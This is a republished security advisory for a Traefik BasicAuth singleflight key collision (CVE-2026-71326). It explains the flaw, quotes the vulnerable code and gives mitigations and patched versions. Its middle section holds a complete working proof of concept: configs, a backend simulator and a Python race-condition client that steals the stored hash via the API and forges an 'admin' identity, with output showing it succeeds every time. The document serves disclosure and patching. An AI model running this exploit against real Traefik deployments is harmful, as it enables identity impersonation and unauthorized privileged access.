Traefik BasicAuth Middleware Singleflight Key Collision Vulnerability (CVE-2026-71326) — Low Severity -DC-Aug2026-1431

Listen to this Post

How CVE-2026-71326 Works

Traefik’s BasicAuth middleware implements a performance optimization that deduplicates concurrent password verification requests using a singleflight.Group. When multiple requests for the same credentials arrive simultaneously, only the first verification is executed; subsequent requests receive the cached result, reducing expensive hash computation overhead.
The vulnerability resides in how the deduplication key is constructed. The key is formed by the delimiter-free concatenation of the submitted password and the stored secret (password hash). For a configured user with password `P` and stored hash H, the key becomes P || H.
An attacker who knows one valid username/password/hash tuple can exploit this by submitting a request for an unconfigured username (e.g., “admin”) with a password equal to P || H. For this unconfigured user, the stored secret is an empty string, so the deduplication key becomes `(P || H) || “”` — identical to the configured user’s key.
When both requests arrive concurrently, the `singleflight.Group.Do` mechanism shares the first in-flight result for equal keys. If the configured user’s request initiates the hash verification first, the unconfigured user’s request receives the successful `true` result without ever running its own verification closure.
Critically, the authorization result is not bound to the username that initiated the request. After the shared result is accepted, Traefik’s `ServeHTTP` uses the username parsed from the unconfigured request — the attacker-selected identity — and propagates it through URL.User, the access log, and the configured headerField.
When `headerField` is enabled, this forged identity is forwarded to the backend as a trusted authenticated user, enabling privilege impersonation. The attacker does not need a victim-generated request; they create both concurrent requests themselves.
Exploitation requires the attacker to already possess a valid credential and read access to the stored password hash — typically via the admin-only API, Kubernetes Secret read access, or Docker socket access. Only Traefik v3.6.11 through v3.6.24 and v3.7.0 through v3.7.9 are affected. The fix encodes the password length as a prefix in the key, preventing collisions between distinct `(password, secret)` pairs.

DailyCVE Form:

Platform: Traefik
Version: v3.6.11–v3.6.24, v3.7.0–v3.7.9
Vulnerability: Singleflight key collision
Severity: Low
date: 2026-08-03

Prediction: 2026-08-10

What Undercode Say: Analytics

The vulnerability stems from the `checkPassword` function in `pkg/middlewares/auth/basic_auth.go` (lines 118–131):

func (b basicAuth) checkPassword(user, password string) bool {
secret := b.auth.Secrets(user, b.auth.Realm)
key := password + secret
match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
if secret == "" {
_ = b.checkSecret(password, b.notFoundSecret)
return false, nil
}
return b.checkSecret(password, secret), nil
})
return match.(bool)
}

The collision occurs because:

  • Configured user viewer: key = P || H, result = `true`
    – Unconfigured user admin: key = (P || H) || "", result = shared `true`
    The API endpoint `/api/http/middlewares/{id}` serializes `basicAuth.users` including the hash, despite the `loggable:”false”` tag. Official v3.7.8 binary returned the hash in validation environments.

Validation environment used:

  • Official Traefik v3.7.8 Linux amd64 release
  • Build timestamp: 2026-07-15T12:42:25Z
  • Go version: go1.26.5
  • Archive SHA-256: `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`

Dynamic configuration (`dynamic.yml`):

http:
routers:
app:
entryPoints:
- web
rule: PathPrefix(<code>/</code>)
middlewares:
- auth
service: backend
middlewares:
auth:
basicAuth:
headerField: X-WebAuth-User
removeHeader: true
users:
- 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'
services:
backend:
loadBalancer:
servers:
- url: http://127.0.0.1:19090

Static configuration (`static.yml`):

global:
checkNewVersion: false
sendAnonymousUsage: false
api:
insecure: true
entryPoints:
web:
address: 127.0.0.1:18080
providers:
file:
filename: /absolute/path/to/dynamic.yml
watch: false

Backend simulator (`backend.py`):

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = (self.headers.get("X-WebAuth-User", "") + "\n").encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, args):
pass
ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever()

Exploit client:

import base64
import http.client
import json
import threading
import time
import urllib.request
HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."
def request(user, password):
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
token = base64.b64encode(f"{user}:{password}".encode()).decode()
conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
response = conn.getresponse()
body = response.read().decode().strip()
status = response.status
conn.close()
return status, body
middleware = json.load(
urllib.request.urlopen(
"http://127.0.0.1:8080/api/http/middlewares/auth%40file"
)
)
print("api_users", middleware["basicAuth"]["users"])
print("valid_baseline", request("viewer", PASSWORD))
print("attacker_baseline", request("admin", PASSWORD + HASH))
wins = 0
for _ in range(25):
valid_result = {}
valid = threading.Thread(
target=lambda: valid_result.setdefault(
"result", request("viewer", PASSWORD)
)
)
valid.start()
time.sleep(0.005)
attack = request("admin", PASSWORD + HASH)
valid.join()
if attack == (200, "admin"):
wins += 1
print("forged_admin_successes", wins, "of", 25)

Observed output:

api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.']
valid_baseline (200, 'viewer')
attacker_baseline (401, '401 Unauthorized')
forged_admin_successes 25 of 25

All 25 concurrent attacks succeeded in forging the `admin` identity. The negative control confirms `admin` cannot authenticate alone. Using bcrypt made the race deterministic due to the expensive comparison remaining in flight long enough for the second request to join.

Exploit

An attacker with one valid credential and read access to the password hash can:
1. Send a valid authentication request for a configured user (e.g., viewer:test)
2. Simultaneously send a second request for an unconfigured target username (e.g., admin) with password set to `P || H`
3. The singleflight collision causes both requests to share the `true` result
4. The backend receives the forged identity via `headerField`
The attack requires no victim-generated traffic — the attacker creates both concurrent requests themselves. The hash can be obtained from:
– Traefik API (/api/http/middlewares/{id}) — despite being documented as admin-only
– Kubernetes Secrets (requires read access)
– Docker configuration (requires socket access)

Protection

Immediate Mitigation:

  • Upgrade to Traefik v3.6.25 or v3.7.10 (patched versions)
  • If upgrade is not immediately possible, restrict access to the Traefik API, Kubernetes Secrets, and Docker socket
  • Avoid exposing `headerField` with trusted identity semantics until patched

Patch Details:

The fix modifies the singleflight key to encode the password length as a prefix, ensuring distinct `(password, secret)` pairs cannot collide. Affected versions: v3.6.11–v3.6.24 and v3.7.0–v3.7.9. Earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.

Impact

When `headerField` is configured:

An authenticated low-privilege user can impersonate arbitrary identities to the backend. Depending on downstream authorization, this enables:
– Access to administrative data
– Execution of privileged state-changing operations
– Corruption of security audit attribution
– Bypass of identity-based tenant or role separation

When `headerField` is NOT configured:

The unconfigured request still bypasses BasicAuth and reaches the protected service. The practical consequence depends on whether the protected route treats all authenticated users equally.

Attack Prerequisites:

  • Network access to a route protected by the affected BasicAuth middleware
  • One valid low-privilege username and password
  • The corresponding stored password hash

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top